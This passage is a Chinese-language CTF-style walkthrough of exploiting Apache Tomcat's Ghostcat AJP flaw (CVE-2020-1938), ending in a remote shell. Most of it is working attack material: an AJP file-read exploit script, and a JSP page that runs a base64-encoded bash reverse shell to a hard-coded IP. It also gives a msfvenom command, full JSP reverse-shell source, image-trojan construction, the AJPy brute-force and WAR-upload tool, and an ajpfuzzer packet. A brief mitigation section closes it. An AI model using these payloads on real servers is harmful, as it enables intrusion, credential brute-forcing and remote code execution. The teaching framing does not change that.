'SC_REQ_USER_AGENT': 'Mozilla',
'Accept-Encoding': 'gzip, deflate, sdch',
'Accept-Language': 'en-US,en;q=0.5',
'Upgrade-Insecure-Requests': '1',
'Cache-Control': 'max-age=0'
}
fr.is_ssl = False
fr.attributes = []
return fr

class Tomcat(object):
def __init__(self, target_host, target_port):
self.target_host = target_host
self.target_port = target_port

self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.socket.connect((target_host, target_port))
self.stream = self.socket.makefile("rb", bufsize=0)

def perform_request(self, req_uri, headers={}, method='GET', user=None, password=None, attributes=[]):
self.req_uri = req_uri
self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri, method=AjpForwardRequest.REQUEST_METHODS.get(method))
print("Getting resource at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri))
if user is not None and password is not None:
self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = "Basic " + ("%s:%s" % (user, password)).encode('base64').replace('\n', '')
for h in headers:
self.forward_request.request_headers[h] = headers[h]
for a in attributes:
self.forward_request.attributes.append(a)
responses = self.forward_request.send_and_receive(self.socket, self.stream)
if len(responses) == 0:
return None, None
snd_hdrs_res = responses[0]
data_res = responses[1:-1]
if len(data_res) == 0:
print("No data in response. Headers:%s\n" % snd_hdrs_res.response_headers)
return snd_hdrs_res, data_res

'''
javax.servlet.include.request_uri
javax.servlet.include.path_info
javax.servlet.include.servlet_path
'''

import argparse
parser = argparse.ArgumentParser()
parser.add_argument("target", type=str, help="Hostname or IP to attack")
parser.add_argument('-p', '--port', type=int, default=8009, help="AJP port to attack (default is 8009)")
parser.add_argument("-f", '--file', type=str, default='WEB-INF/web.xml', help="file path :(WEB-INF/web.xml)")
args = parser.parse_args()
t = Tomcat(args.target, args.port)
_,data = t.perform_request('/whalwl/asdf',attributes=[
{'name':'req_attribute','value':['javax.servlet.include.request_uri','/']},
{'name':'req_attribute','value':['javax.servlet.include.path_info',args.file]},
{'name':'req_attribute','value':['javax.servlet.include.servlet_path','/']},
])
print('----------------------------')
print("".join([d.data for d in data]))

image

0b100 getshell(一)

  • 反弹shell一(推荐):

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    <%
    java.io.InputStream in = Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI1NS4xMzAvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}").getInputStream();
    int a = -1;
    byte[] b = new byte[2048];
    out.print("<pre>");
    while((a=in.read(b))!=-1){
    out.println(new String(b));
    }
    out.print("</pre>");
    %>

  • 反弹shell二:

    1
    2
    # msf生成,具体生成下文已给出
    msfvenom -p java/jsp_shell_reverse_tcp LHOST=43.138.193.108 LPORT=4445 R >shell.jsp
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    <%@page import="java.lang.*"%>
    <%@page import="java.util.*"%>
    <%@page import="java.io.*"%>
    <%@page import="java.net.*"%>

    <%
    class StreamConnector extends Thread
    {
    InputStream sG;
    OutputStream p2;

    StreamConnector( InputStream sG, OutputStream p2 )
    {
    this.sG = sG;
    this.p2 = p2;
    }

    public void run()
    {
    BufferedReader rB = null;
    BufferedWriter xij = null;
    try
    {
    rB = new BufferedReader( new InputStreamReader( this.sG ) );
    xij = new BufferedWriter( new OutputStreamWriter( this.p2 ) );
    char buffer[] = new char[8192];
    int length;
    while( ( length = rB.read( buffer, 0, buffer.length ) ) > 0 )
    {
    xij.write( buffer, 0, length );
    xij.flush();
    }
    } catch( Exception e ){}
    try
    {
    if( rB != null )
    rB.close();
    if( xij != null )
    xij.close();
    } catch( Exception e ){}
    }
    }

    try
    {
    String ShellPath;
    if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) {
    ShellPath = new String("/bin/sh");
    } else {
    ShellPath = new String("cmd.exe");
    }

    Socket socket = new Socket( "192.168.255.130", 4444 );
    Process process = Runtime.getRuntime().exec( ShellPath );
    ( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start();
    ( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start();
    } catch( Exception e ) {}
    %>

  • 构造图片马后上传

    1
    2
    3
    4
    5
    6
    7
    # Windows平台:"合并.bat"
    copy img.jpg/b + shell.jsp/a shell.jpg

    # 传入的图片马
    http://106.15.50.112:18080/whalwl/upload/2022-000047-000027.jpg

    flag{a3f961e96e9706f21cf44a8b91822f94}

image

  • 文件包含
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    # 远程服务器监听端口,此处使用nc
    nc -lvvnp 4444

    # 基于前面修改的代码继续修改
    # CNVD-2020-10487-Tomcat-Ajp-lfi.py 的 296行:
    # _,data = t.perform_request('/whalwl/asdf',attributes=[
    # 修改为
    # _,data = t.perform_request('/whalwl/asdf.jsp',attributes=[

    # 利用脚本实现文件包含以读取文件
    python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py 106.15.50.112 -p 18009 -f upload/2022-000047-000027.jpg

image

0b101 getshell(二)

  • 使用脚本:https://github.com/hypn0s/AJPy
    1
    2
    3
    4
    5
    6
    7
    # 更简单,不用总修改代码

    # 读 /WEB-INF/web.xml
    python3 tomcat.py --port 18009 read_file --webapp=whalwl /WEB-INF/web.xml 106.15.50.112

    # 读图片马,反弹shell
    python3 tomcat.py --port 18009 read_file --webapp=whalwl /upload/2022-000047-000027.jpg 106.15.50.11

image

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
#!/usr/bin/env python
#
# Julien Legras - Synacktiv
#
# THIS SOFTWARE IS PROVIDED BY SYNACKTIV ''AS IS'' AND ANY
# EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
# WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
# DISCLAIMED. IN NO EVENT SHALL SYNACKTIV BE LIABLE FOR ANY
# DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
# (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
# LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
# ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
# SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

from ajpy.ajp import AjpResponse, AjpForwardRequest, AjpBodyRequest, NotFoundException
from pprint import pprint, pformat

from base64 import b64encode
import socket
import argparse
import logging
import re
import os
import logging
import sys
try:
from urllib import unquote
except ImportError:
from urllib.parse import unquote

def setup_logger():
logger = logging.getLogger('meow')
handler = logging.StreamHandler()
logger.addHandler(handler)
logger.setLevel(logging.DEBUG)

return logger

logger = setup_logger()


# helpers
def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET):
fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER)
fr.method = method
fr.protocol = "HTTP/1.1"
fr.req_uri = req_uri
fr.remote_addr = target_host
fr.remote_host = None
fr.server_name = target_host
fr.server_port = 80
fr.request_headers = {
'SC_REQ_ACCEPT': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'SC_REQ_CONNECTION': 'keep-alive',
'SC_REQ_CONTENT_LENGTH': '0',
'SC_REQ_HOST': target_host,
'SC_REQ_USER_AGENT': 'Mozilla/5.0 (X11; Linux x86_64; rv:46.0) Gecko/20100101 Firefox/46.0',
'Accept-Encoding': 'gzip, deflate, sdch',
'Accept-Language': 'en-US,en;q=0.5',
'Upgrade-Insecure-Requests': '1',
'Cache-Control': 'max-age=0'
}
fr.is_ssl = False

fr.attributes = []

return fr


class Tomcat(object):
def __init__(self, target_host, target_port):
self.target_host = target_host
self.target_port = target_port

self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.socket.connect((target_host, target_port))
self.stream = self.socket.makefile("rb")


def test_password(self, user, password):
res = False
stop = False
creds = b64encode(("%s:%s" % (user, password)).encode('utf-8')).decode('utf-8')
self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = "Basic " + creds
while not stop:
logger.debug("testing %s:%s" % (user, password))
responses = self.forward_request.send_and_receive(self.socket, self.stream)
snd_hdrs_res = responses[0]
if snd_hdrs_res.http_status_code == 404:
raise NotFoundException("The req_uri %s does not exist!" % self.req_uri)
elif snd_hdrs_res.http_status_code == 302:
self.req_uri = snd_hdrs_res.response_headers.get('Location', '')
logger.info("Redirecting to %s" % self.req_uri)
self.forward_request.req_uri = self.req_uri
elif snd_hdrs_res.http_status_code == 200:
logger.info("Found valid credz: %s:%s" % (user, password))
res = True
stop = True
if 'Set-Cookie' in snd_hdrs_res.response_headers:
logger.info("Here is your cookie: %s" % (snd_hdrs_res.response_headers.get('Set-Cookie', '')))
elif snd_hdrs_res.http_status_code == 403:
logger.info("Found valid credz: %s:%s but the user is not authorized to access this resource" % (user, password))
stop = True
elif snd_hdrs_res.http_status_code == 401:
stop = True

return res

def start_bruteforce(self, users, passwords, req_uri, autostop):
logger.info("Attacking a tomcat at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri))
self.req_uri = req_uri
self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri)

f_users = open(users, "r")
f_passwords = open(passwords, "r")

valid_credz = []
try:
for user in f_users:
f_passwords.seek(0, 0)
for password in f_passwords:
if autostop and len(valid_credz) > 0:
self.socket.close()
return valid_credz

user = user.rstrip('\n')
password = password.rstrip('\n')
if self.test_password(user, password):
valid_credz.append((user, password))
except NotFoundException as e:
logger.fatal(e.message)
finally:
logger.debug("Closing socket...")
self.socket.close()
return valid_credz


def perform_request(self, req_uri, headers={}, method='GET', user=None, password=None, attributes=[]):
self.req_uri = req_uri
self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri, method=AjpForwardRequest.REQUEST_METHODS.get(method))
logger.debug("Getting resource at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri))
if user is not None and password is not None:
creds = b64encode(("%s:%s" % (user, password)).encode('utf-8')).decode('utf-8')
self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = "Basic " + creds

for h in headers:
self.forward_request.request_headers[h] = headers[h]

for a in attributes:
self.forward_request.attributes.append(a)

responses = self.forward_request.send_and_receive(self.socket, self.stream)
if len(responses) == 0:
return None, None

snd_hdrs_res = responses[0]

data_res = responses[1:-1]
if len(data_res) == 0:
logger.info("No data in response. Headers:\n %s" % pformat(vars(snd_hdrs_res)))

return snd_hdrs_res, data_res

def upload(self, filename, user, password, old_version, headers={}):
deploy_csrf_token, obj_cookie = self.get_csrf_token(user, password, old_version, headers)
with open(filename, "rb") as f_input:
with open("/tmp/request", "w+b") as f:
s_form_header = '------WebKitFormBoundaryb2qpuwMoVtQJENti\r\nContent-Disposition: form-data; name="deployWar"; filename="%s"\r\nContent-Type: application/octet-stream\r\n\r\n' % os.path.basename(filename)
s_form_footer = '\r\n------WebKitFormBoundaryb2qpuwMoVtQJENti--\r\n'
f.write(s_form_header.encode('utf-8'))
f.write(f_input.read())
f.write(s_form_footer.encode('utf-8'))

data_len = os.path.getsize("/tmp/request")

headers = {
"SC_REQ_CONTENT_TYPE": "multipart/form-data; boundary=----WebKitFormBoundaryb2qpuwMoVtQJENti",
"SC_REQ_CONTENT_LENGTH": "%d" % data_len,
"SC_REQ_REFERER": "http://%s/manager/html/" % (self.target_host),
"Origin": "http://%s" % (self.target_host),
}
if obj_cookie is not None:
headers["SC_REQ_COOKIE"] = obj_cookie.group('cookie')

attributes = [{"name": "req_attribute", "value": ("JK_LB_ACTIVATION", "ACT")}, {"name": "req_attribute", "value": ("AJP_REMOTE_PORT", "12345")}]
if old_version == False:
attributes.append({"name": "query_string", "value": deploy_csrf_token})
old_apps = self.list_installed_applications(user, password, old_version)
r = self.perform_request("/manager/html/upload", headers=headers, method="POST", user=user, password=password, attributes=attributes)

with open("/tmp/request", "rb") as f:
br = AjpBodyRequest(f, data_len, AjpBodyRequest.SERVER_TO_CONTAINER)
br.send_and_receive(self.socket, self.stream)

r = AjpResponse.receive(self.stream)
if r.prefix_code == AjpResponse.END_RESPONSE:
logger.error('Upload failed')

while r.prefix_code != AjpResponse.END_RESPONSE:
r = AjpResponse.receive(self.stream)
logger.debug('Upload seems normal. Checking...')
new_apps = self.list_installed_applications(user, password, old_version)
if len(new_apps) == len(old_apps) + 1:
logger.info('Upload success!')
else:
logger.error('Upload failed')

def get_error_page(self):
return self.perform_request("/blablablablabla")

def get_version(self):
hdrs, data = self.get_error_page()
for d in data:
s = re.findall('(Apache Tomcat/[0-9\.]+)', d.data.decode('utf-8'))
if len(s) > 0:
return s[0]

def get_csrf_token(self, user, password, old_version, headers={}, query=[]):
# first we request the manager page to get the CSRF token
hdrs, rdata = self.perform_request("/manager/html", headers=headers, user=user, password=password)
deploy_csrf_token = re.findall('(org.apache.catalina.filters.CSRF_NONCE=[0-9A-F]*)"', "".join([d.data.decode('utf8') for d in rdata]))
if old_version == False:
if len(deploy_csrf_token) == 0:
logger.critical("Failed to get CSRF token. Check the credentials")
return

logger.debug('CSRF token = %s' % deploy_csrf_token[0])
obj = re.match("(?P<cookie>JSESSIONID=[0-9A-F]*); Path=/manager(/)?; HttpOnly", hdrs.response_headers.get('Set-Cookie', '').decode('utf-8'))
if obj is not None:
return deploy_csrf_token[0], obj
return deploy_csrf_token[0], None


def list_installed_applications(self, user, password, old_version, headers={}):
deploy_csrf_token, obj_cookie = self.get_csrf_token(user, password, old_version, headers)
headers = {
"SC_REQ_CONTENT_TYPE": "application/x-www-form-urlencoded",
"SC_REQ_CONTENT_LENGTH": "0",
"SC_REQ_REFERER": "http://%s/manager/html/" % (self.target_host),
"Origin": "http://%s" % (self.target_host),
}
if obj_cookie is not None:
headers["SC_REQ_COOKIE"] = obj_cookie.group('cookie')

attributes = [{"name": "req_attribute", "value": ("JK_LB_ACTIVATION", "ACT")},
{"name": "req_attribute", "value": ("AJP_REMOTE_PORT", "{}".format(self.socket.getsockname()[1]))}]
if old_version == False:
attributes.append({
"name": "query_string", "value": "%s" % deploy_csrf_token})
hdrs, data = self.perform_request("/manager/html/", headers=headers, method="GET", user=user, password=password, attributes=attributes)
found = []
for d in data:
im = re.findall('<small><a href="([^";]*)">', d.data.decode('utf8'))
for app in im:
found.append(unquote(app))
return found


def undeploy(self, path, user, password, old_version, headers={}):
deploy_csrf_token, obj_cookie = self.get_csrf_token(user, password, old_version, headers)
path_app = "path=%s" % path
headers = {
"SC_REQ_CONTENT_TYPE": "application/x-www-form-urlencoded",
"SC_REQ_CONTENT_LENGTH": "0",
"SC_REQ_REFERER": "http://%s/manager/html/" % (self.target_host),
"Origin": "http://%s" % (self.target_host),
}
if obj_cookie is not None:
headers["SC_REQ_COOKIE"] = obj_cookie.group('cookie')

attributes = [{"name": "req_attribute", "value": ("JK_LB_ACTIVATION", "ACT")},
{"name": "req_attribute", "value": ("AJP_REMOTE_PORT", "{}".format(self.socket.getsockname()[1]))}]
if old_version == False:
attributes.append({
"name": "query_string", "value": "%s&%s" % (path_app, deploy_csrf_token)})
r = self.perform_request("/manager/html/undeploy", headers=headers, method="POST", user=user, password=password, attributes=attributes)
r = AjpResponse.receive(self.stream)
if r.prefix_code == AjpResponse.END_RESPONSE:
logger.error('Undeploy failed')

# Check the successful message
found = False
regex = r'<small><strong>Message:<\/strong><\/small>&nbsp;<\/td>\s*<td class="row-left"><pre>(OK - .*'+path+')\s*<\/pre><\/td>'
while r.prefix_code != AjpResponse.END_RESPONSE:
r = AjpResponse.receive(self.stream)
if r.prefix_code == 3:
f = re.findall(regex, r.data.decode('utf-8'))
if len(f) > 0:
found = True
if found:
logger.info('Undeploy succeed')
else:
logger.error('Undeploy failed')


if __name__ == "__main__":
parser = argparse.ArgumentParser()
subparsers = parser.add_subparsers()

parser.add_argument("target", type=str, help="Hostname or IP to attack")
parser.add_argument("--port", type=int, default=8009, help="AJP port to attack (default is 8009)")
parser.add_argument('-v', '--verbose', action='count', default=1)

parser_bf = subparsers.add_parser('bf', help='Bruteforce Basic authentication')
parser_bf.set_defaults(which='bf')
parser_bf.add_argument("req_uri", type=str, default="/manager/html", help="Resource to attack")
parser_bf.add_argument("-U", "--users", type=str, help="Filename containing the usernames to test against the Tomcat manager AJP", required=True)
parser_bf.add_argument("-P", "--passwords", type=str, help="Filename containing the passwords to test against the Tomcat manager AJP", required=True)
parser_bf.add_argument('-s', '--stop', action='store_true', default=False, help="Stop when we find valid credz")

# parser_req = subparsers.add_parser('req', help='Request resource')
# parser_req.set_defaults(which='req')
# parser_req.add_argument("-m", "--method", type=str, default="GET", help="Request method (default=GET)", choices=AjpForwardRequest.REQUEST_METHODS.keys())

parser_upload = subparsers.add_parser('upload', help='Upload WAR')
parser_upload.set_defaults(which='upload')
parser_upload.add_argument("filename", type=str, help="WAR file to upload")
parser_upload.add_argument("-u", "--user", type=str, default=None, help="Username")
parser_upload.add_argument("-p", "--password", type=str, default=None, help="Password")
parser_upload.add_argument("-H", "--headers", type=str, default={}, help="Custom headers")
parser_upload.add_argument("--old-version", action='store_true', default=False, help="Old version of Tomcat that does not implement anti-CSRF token")

parser_upload = subparsers.add_parser('undeploy', help='Undeploy WAR')
parser_upload.set_defaults(which='undeploy')
parser_upload.add_argument("path", type=str, help="Installed WAR path")
parser_upload.add_argument("-u", "--user", type=str, default=None, help="Username")
parser_upload.add_argument("-p", "--password", type=str, default=None, help="Password")
parser_upload.add_argument("-H", "--headers", type=str, default={}, help="Custom headers")
parser_upload.add_argument("--old-version", action='store_true', default=False, help="Old version of Tomcat that does not implement anti-CSRF token")

parser_version = subparsers.add_parser('version', help='Get version')
parser_version.set_defaults(which='version')
parser_upload = subparsers.add_parser('list', help='List installed applications')
parser_upload.set_defaults(which='list')
parser_upload.add_argument("-u", "--user", type=str, default=None, help="Username")
parser_upload.add_argument("-p", "--password", type=str, default=None, help="Password")
parser_upload.add_argument("-H", "--headers", type=str, default={}, help="Custom headers")
parser_upload.add_argument("--old-version", action='store_true', default=False, help="Old version of Tomcat that does not implement anti-CSRF token")

read_file = subparsers.add_parser('read_file', help='Exploit CVE-2020-1938')
read_file.set_defaults(which='read_file')
read_file.add_argument("file_path", type=str, help="File to read")
read_file.add_argument("-w", "--webapp", type=str, default="", help="webapp potential params: 'manager', 'host-manager', 'ROOT' or 'examples'")
read_file.add_argument("-o", "--output", type=str, help="Output file (for binary files)")

args = parser.parse_args()


if args.verbose == 1:
logger.setLevel(logging.INFO)
else:
logger.setLevel(logging.DEBUG)

bf = Tomcat(args.target, args.port)
if args.which == 'bf':
bf.start_bruteforce(args.users, args.passwords, args.req_uri, args.stop)
# elif args.which == 'req':
# print bf.perform_request(args.req_uri, args.headers, args.method, args.user, args.password)
elif args.which == 'upload':
bf.upload(args.filename, args.user, args.password, args.old_version, args.headers)
elif args.which == 'version':
print(bf.get_version())
elif args.which == 'list':
apps = bf.list_installed_applications(args.user, args.password, args.old_version, args.headers)
logger.info("Installed applications:")
for app in apps:
logger.info('- ' + app)
elif args.which == 'undeploy':
bf.undeploy(args.path, args.user, args.password, args.old_version, args.headers)
elif args.which == 'read_file':
attributes = [
{"name": "req_attribute", "value": ("javax.servlet.include.request_uri", "/",)},
{"name": "req_attribute", "value": ("javax.servlet.include.path_info", args.file_path,)},
{"name": "req_attribute", "value": ("javax.servlet.include.servlet_path", "/",)},
]
hdrs, data = bf.perform_request("/" + args.webapp + "/xxxxx.jsp", attributes=attributes)
output = sys.stdout
if args.output:
output = open(args.output, "wb")
for d in data:
if args.output:
output.write(d.data)
else:
try:
output.write(d.data.decode('utf8'))
except UnicodeDecodeError:
output.write(repr(d.data))

if args.output:
output.close()

0b110 getshell(三)

  • 下载 AJP 包构造器 ajpfuzzer :wget https://github.com/doyensec/ajpfuzzer/releases/download/v0.6/ajpfuzzer_v0.6.jar
  • 运行 ajpfuzzer:java -jar ajpfuzzer_v0.6.jar
  • 连接目标靶机端口:connect 106.15.50.112 18009
  • 执行如下命令构造并发送AJP包,其中/upload/2022-000047-000027.jpg为木马路径,其中/whalwl/11.jsp可以换为该web项目下任意目录中没有的jsp文件,如此tomcat才会去调用DefaultServlet
    1
    forwardrequest 2 "HTTP/1.1" "/whalwl/11.jsp" 127.0.0.1 127.0.0.1 porto 8009 false "Cookie:AAAA=BBBB","Accept-Encoding:identity" "javax.servlet.include.request_uri:11.jsp","javax.servlet.include.path_info:/upload/2022-000047-000027.jpg","javax.servlet.include.servlet_path:/"

image

0b111参考文档

0o02 CVE-2020-1938

  • 漏洞概述:2020年2月20日,国家信息安全漏洞共享平台(CNVD)发布关于Apache Tomcat的安全公告,Apache Tomcat文件包含漏洞(CNVD-2020-10487,对应CVE-2020-1938)。Tomcat AJP协议由于存在实现缺陷导致相关参数可控,攻击者利用该漏洞可通过构造特定参数,读取服务器 webapp 下的任意文件,如 WEB-INF/web.xml。若服务器端同时存在文件上传功能,攻击者可进一步实现远程代码的执行。
  • 影响版本:Tomcat 6.x,7.x < 7.0.100,8.x <8.5.51,9.x < 9.0.31。
  • 漏洞防护:① 更新至最新版本;② 禁用 AJP 协议,注释或删除 /conf/server.xml<Connectorport="8009" protocol="AJP/1.3"redirectPort="8443" /> ;③ 配置 secret 以设置 AJP 协议的认证凭证,如 <Connector port="8009"protocol="AJP/1.3" redirectPort="8443"address="YOUR_TOMCAT_IP_ADDRESS" secret="YOUR_TOMCAT_AJP_SECRET"/>。注:YOUR_TOMCAT_AJP_SECRET 需设置更难猜解。
  • 漏洞解析:https://weread.qq.com/web/reader/c8732a70726fa058c87154bk76d325c028076dc611d6d8c
  • 参考文章:https://www.chaitin.cn/zh/ghostcat
 评论